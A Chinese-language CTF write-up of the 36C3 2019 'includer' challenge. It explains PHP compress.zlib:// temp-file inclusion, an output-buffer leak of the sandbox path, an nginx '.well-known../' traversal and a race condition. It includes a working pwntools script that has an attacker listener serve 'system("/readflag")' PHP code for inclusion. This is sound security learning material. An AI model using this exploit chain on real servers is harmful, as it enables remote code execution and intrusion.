[36c3 2019]includer
[36c3 2019]includer
题目描述:Just sitting here and waiting for PHP 8.0 (lolphp).
首先来了解一下临时文件包含之PHP - compress.zlib://
在 php-src 里可以找到和 compress.zlib://
有关的代码 | code
注意到 STREAM_WILL_CAST
,涉及到 cast 经常会有一些安全隐患(溢出,报错等);在main/php_streams.h
看一下这个宏的具体含义 | code
很明显,这是一个用来将stream转换成FILE*的标志位,在这里就与我们创建临时文件有关了。
如果传入这个 flag 那将不会启用缓冲机制来读取 headers,即 默认情况下开始缓冲机制
该函数调用了php_stream_make_seekable_rel
,并向其中传入了STREAM_WILL_CAST
参数,我们跟进php_stream_make_seekable_rel
函数,它在main/php_streams.h
中被define为_php_stream_make_seekable
| code
涉及到_php_stream_make_seekable
函数 | code
其实整个过程很顺,因为最初的 STREAM_WILL_CAST
就是默认选项,所以不需要我们在流传输中再加干涉就可以生成临时文件
main/streams/cast.c
/* {{{ php_stream_make_seekable */
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
trueif (newstream == NULL) {
truetruereturn PHP_STREAM_FAILED;
true}
true*newstream = NULL;trueif (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
truetrue*newstream = origstream;
truetruereturn PHP_STREAM_UNCHANGED;
true}true/* Use a tmpfile and copy the old streams contents into it */trueif (flags & PHP_STREAM_PREFER_STDIO) {
truetrue*newstream = php_stream_fopen_tmpfile();
true} else {
truetrue*newstream = php_stream_temp_new();
true}
true//...
}
/* }}} */
我们可以看到如果flags
与PHP_STREAM_PREFER_STDIO
都被设置的话,而PHP_STREAM_PREFER_STDIO
在main/php_streams.h
中已经被define。
#define PHP_STREAM_PREFER_STDIO
我们只需要关心flags的值就好了,我们只需要确定flags的值非零即可,根据前面的跟进我们易知flags的在这里非零,所以这里就调用了php_stream_fopen_tmpfile
函数创建了临时文件。
**利用前提:**目标服务器开启 allow_url_fopen
, allow_url_include
最简单的示例代码
<?php
putenv("TMPDIR=/var/www/html/files"); // 设置生成缓存文件的目录
file_get_contents("compress.zlib://https://www.baidu.com");
cd /var/www/html
chattr -R +a files # 禁止临时文件删除
fswatch files # 监视文件变动
cd files & cat *
可以看到临时文件中就是 baidu 的首页内容
因此我们可以使用这样的思路,用 compress.zlib://evil_url
来传 evil_code,可以用 pwntools 库来控制具体传输的内容;同时因为程序运行结束临时文件会被自动删除,我们可以写入大量垃圾内容 或用 compress.zlib://ftp://
来控制传输速率来保持连接。
源代码如下:
<?php
declare(strict_types=1);$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";try {if (stripos(file_get_contents($_POST['file']), '<?') === false) {include_once($_POST['file']);}
}
finally {system('rm -rf '.escapeshellarg($rand_dir));
}
我们的思路是 先利用 compress.zlib://http://xxxxxx
上传含 evil code 的大文件以此来生成临时文件,然后再让其被包含执行 最终 getflag。
临时文件终究还是会被php删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留在服务器上,这样我们才有机会去包含它。
- 使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
- 使用FTP速度控制,大文件传输基本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用
compress.zlib://ftp://
形式,控制FTP速度即可
同时题目中多了不少限制,首先是 $rand_dir
让我们不知道缓存文件的绝对路径 这会影响到后面的 命令执行;错误的配置文件可以解决这一问题。
配置文件有一个比较明显的配置错误: 开启了列目录并且我们可以遍历到上层文件夹。但每次执行后文件名都是随机的。
location /.well-known {autoindex on;alias /var/www/html/well-known/;
}
然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的sandbox路径。
所以我们需要通过传入过大的name参数,导致PHP output buffer溢出,在保持连接的情况下获取沙箱路径,参考代码:
data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}\r
'''.format(len(data), data))
其次需要满足的条件是 stripos(file_get_contents($_POST['file']), '<?') === false
,也就是传输的内容中不能包含 <?
,这对 php 来说简直是致命打击。
对于这一问题 标答是 条件竞争
,利用 file_get_contents
和 include_once
执行过程中微弱的时间窗口来绕过,即:先发送垃圾数据,通过 if 判断后再传 恶意代码。
所以整个流程我们可以总结为以下:
1.利用compress.zlib://http://
或者compress.zlib://ftp://
来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件
2.利用超长的 name 溢出 output buffer 得到 sandbox 路径
3.利用 Nginx 配置错误,通过.well-known../files/sandbox/
来获取我们 tmp 文件的文件名
4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag
整个题目的关键点主要是以下几点:
-
要利用大文件或ftp速度限制让连接保持
-
传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径
-
tmp文件需要在两种文件直接疯狂切换,使得第一次
file_get_contents
获取的内容不带有<?
,include
的时候是正常php代码,需要卡时间点,所以要多跑几次才行 -
.well-known../files/
是nginx配置漏洞,就不多说了,用来列生成的tmp文件
由于第二个极短的时间窗,我们需要比较准确地调控延迟时间,之前没调控好时间以及文件大小,挂一晚上脚本都没有 hit 中一次,第二天经过 @rebirth 的深刻指点,修改了一下延迟时间以及服务器响应的文件的大小,成功率得到了很大的提高,基本每次都可以 getflag
攻击脚本如下:
from pwn import *
import requests
import re
import threading
import timefor gg in range(100):r = remote("192.168.34.1", 8004)l = listen(8080)data = '''name={}&file=compress.zlib://http://192.168.151.132:8080'''.format("a"*8050)payload = '''POST / HTTP/1.1
Host: 192.168.34.1:8004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Length: {}
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie: PHPSESSID=asdasdasd
Upgrade-Insecure-Requests: 1
{}'''.format(len(data), data).replace("\n","\r\n")r.send(payload)try:r.recvuntil('your sandbox: ')except EOFError:print("[ERROR]: EOFERROR")# l.close()r.close()continue# dirname = r.recv(70)dirname = r.recvuntil('\n', drop=True) + '/'print("[DEBUG]:" + dirname)# send trashc = l.wait_for_connection()resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
{}'''.format('A'* 5000000).replace("\n","\r\n")c.send(resp)# get filenamer2 = requests.get("http://192.168.34.1:8004/.well-known../"+ dirname + "/")try:tmpname = "php" + re.findall(">php(.*)<\/a",r2.text)[0]print("[DEBUG]:" + tmpname)except IndexError:l.close()r.close()print("[ERROR]: IndexErorr")continuedef job():time.sleep(0.01)phpcode = 'wtf<?php system("/readflag");?>';c.send(phpcode)t = threading.Thread(target = job)t.start()# file_get_contents and include tmp fileexp_file = dirname + "/" + tmpnameprint("[DEBUG]:"+exp_file)r3 = requests.post("http://192.168.34.1:8004/", data={'file':exp_file})print(r3.status_code,r3.text)if "wtf" in r3.text:breakt.join()r.close()l.close()#r.interactive()
相关文章:

[36c3 2019]includer
[36c3 2019]includer 题目描述:Just sitting here and waiting for PHP 8.0 (lolphp). 首先来了解一下临时文件包含之PHP - compress.zlib:// 在 php-src 里可以找到和 compress.zlib:// 有关的代码 | code 注意到 STREAM_WILL_CAST,涉及到 cast 经常…...
Python150题day10
④continue练习 从列表 Ist [1,3,5,2,7,9,10] 中输出所有的奇数,代码如下 lst [1, 3, 5, 2, 7, 9, 10] for item in lst: if item % 2 0: continue print(item) 在上述代码中,当遇到偶数时,continue 语句会跳过当前迭代&…...
Autosar工具-Davinci Developer
文章目录 前言一、Davinci Developer简介二、导航栏File(主要是用于保存、打开工程等操作)HomeProject(主要用于导入、导出arxml文件)Graphic(主要在SWC设计时使用,包含对图形界面下的设计工具)Window(主要就是对我们的Dev界面外形修改用的,使得界面更加方便我们使用(比如隐…...

js中的数据结构:栈,队列,链表,字典哈希表,树
栈:先进后出 队列:先进先出 链表: 单链表: 双链表: 环形链表:最后一个数据的next指针不是指向null,指向的是任意之间的一个数据,形成一个环 数组和链表的区别: 字典和哈…...

Verdi实现信号的平移
在Verilog/System verilog中,# xxx可以实现延迟指定时间的功能,而在使用verdi查看信号波形并进行分析时,同样也可以实现类似的功能。 (注:这种信号平移是有其应用场景的,例如,在某些仿真模型中,…...

Leetcode算法入门与数组丨6. 数组双指针、滑动窗口
文章目录 1 双指针基础知识1.1 双指针简介1.2 左右指针(对撞指针)1.3 快慢指针1.4 分离双指针 2 滑动窗口基础知识2.1 滑动窗口算法介绍2.2 滑动窗口适用范围2.3 固定长度滑动窗口2.4 不固定长度滑动窗口 1 双指针基础知识 1.1 双指针简介 双指针&…...

推荐一本书《横向领导力》
大家好,这里是大话硬件。 今天想给大家推荐一本我近期正在阅读的书籍《横向领导力》。 这本书很早就买了,但是在去年就看了前面3章的内容,而且也没做笔记,仅仅是在书本上写写画画,也没有什么体会,感觉看不懂…...
React实战过程的知识了解
做项目用到react和antd,没办法循序渐进的学习,只能把一些点记录在这里,希望大家指正。 1.杂七杂八 正文 //actionRef,操作表单的预设方法,包括:刷新、重置所有项并刷新、重置到默认项、加载更多、清空选…...
F对象和Q对象
F对象和Q对象 F对象 一个F对象代表数据库中某条记录的字段的信息 作用: 通常是对数据库中的字段值在不获取的情况下进行操作 用于类属性(字段)之间的比较 语法 from django.db.models import F F(列名)解决一种极端事件的产生,比如用户对一条微博的点赞…...

Visio——绘制倾斜线段
一、形状 -> 图表和数学图形 -> 多行 二、放置多行线,可以发现存在两个折点 三、选择多行线,右键选择删除点,即可得到倾斜线段...

Linux复习-安装与熟悉环境(一)
这里写目录标题 虚拟机ubuntu系统配置镜像Linux命令vi编辑器3个模式光标命令vi模式切换命令vi拷贝与粘贴命令vi保存和退出命令vi的查找命令vi替换命令 末行模式复制、粘贴、剪切gcc编译器 虚拟机 VMware16 官网下载:vmware官网 网盘下载: 链接ÿ…...
Go基础语法:map
9 map Go 语言中提供的映射关系容器为 map ,其内部使用 散列表(hash) 实现。它是一种无序的基于 key-value 的数据结构。 Go 语言中的 map 是引用类型,必须初始化之后才能使用。 9.1 map 定义 Go 语言中 map 的定义语法为&…...

开发板TFTP调试
问题描述 开发板和host(此处指虚拟机linux)可以平通,但是通过uboot tftp下载请求时一直显示T T T, 即超时 使用wireshark抓包也显示超时 措施 关闭windows和linux的防火墙 重新进行下载成功...

MySQL---优化日志
目录 一、MySQL优化 3、mysql server上的优化 3.1、MySQL查询缓存 3.2、索引和数据缓存 3.2、线程缓存 二、MySQL日志 2.1、redo log 重做日志 2.2、undo log 回滚日志 2.3、错误日志 2.4、查询日志 2.5、二进制日志 2.5.1、基于binlog数据恢复实践操作 六、慢查…...
【送面试题】深入解析Cookie和Session的请求区别及使用场景
AI绘画关于SD,MJ,GPT,SDXL百科全书 面试题分享点我直达 2023Python面试题 2023最新面试合集链接 2023大厂面试题PDF 面试题PDF版本 java、python面试题 项目实战:AI文本 OCR识别最佳实践 AI Gamma一键生成PPT工具直达链接 玩转cloud Studio 在线编码神器 玩转 GPU AI…...

010_第一代软件开发(二)
第一代软件开发(二) 文章目录 第一代软件开发(二)项目介绍界面布局功能完善快照功能获取可用串口播放按键提示音 关键字: Qt、 Qml、 QSerialPort、 QPixmap、 QSoundEffect 项目介绍 欢迎来到我们的 QML & C 项目!这个项目结合了 QMLÿ…...
基于若依ruoyi-nbcio增加flowable流程待办消息的提醒,并提供右上角的红字数字提醒(四)
更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码: https://gitee.com/nbacheng/ruoyi-nbcio 演示地址:RuoYi-Nbcio后台管理系统 上一节说到待办系统的监听器TaskCreateListener,需要在flowable全局监听配置里加入配置 1、Glo…...

RestTemplate:简化HTTP请求的强大工具
文章目录 什么是RestTemplateRestTemplate的作用代码示例 RestTemplate与HttpClient 什么是RestTemplate RestTemplate是一个在Java应用程序中发送RESTful HTTP请求的强大工具。本文将介绍RestTemplate的定义、作用以及与HttpClient的对比,以帮助读者更好地理解和使…...

【数据结构】什么是数据结构?
数据结构(Data Structure)是计算机存储,组织数据的方式,指相互之间存在一种或多种特定关系的数据元素的集合. 这么讲可能有些抽象,放一张图大家可能好理解一点: 上图依次是数据结构中逻辑结构中的:集合结构,线性结构,树形结构,图形结构. 而: 数据结构是一门研究非数值计算的程…...
c++源码编译过程(翻译阶段)的若干细节概要
c程序的编译主要包含两个阶段:源码编译(翻译阶段)和目标文件链接。 源码编译过程主要有如下这些阶段: 阶段1: 翻译源码文本字符 阶段2: 逻辑源码行标准化处理 阶段3: 文法处理,分解为不同的源码文本类型序列。例如分解为注释、预处理指…...

基于当前项目通过npm包形式暴露公共组件
1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹,并新增内容 3.创建package文件夹...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

使用 SymPy 进行向量和矩阵的高级操作
在科学计算和工程领域,向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能,能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作,并通过具体…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...

Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习)
Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习) 一、Aspose.PDF 简介二、说明(⚠️仅供学习与研究使用)三、技术流程总览四、准备工作1. 下载 Jar 包2. Maven 项目依赖配置 五、字节码修改实现代码&#…...

Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
CSS | transition 和 transform的用处和区别
省流总结: transform用于变换/变形,transition是动画控制器 transform 用来对元素进行变形,常见的操作如下,它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

C# 表达式和运算符(求值顺序)
求值顺序 表达式可以由许多嵌套的子表达式构成。子表达式的求值顺序可以使表达式的最终值发生 变化。 例如,已知表达式3*52,依照子表达式的求值顺序,有两种可能的结果,如图9-3所示。 如果乘法先执行,结果是17。如果5…...
省略号和可变参数模板
本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...

[ACTF2020 新生赛]Include 1(php://filter伪协议)
题目 做法 启动靶机,点进去 点进去 查看URL,有 ?fileflag.php说明存在文件包含,原理是php://filter 协议 当它与包含函数结合时,php://filter流会被当作php文件执行。 用php://filter加编码,能让PHP把文件内容…...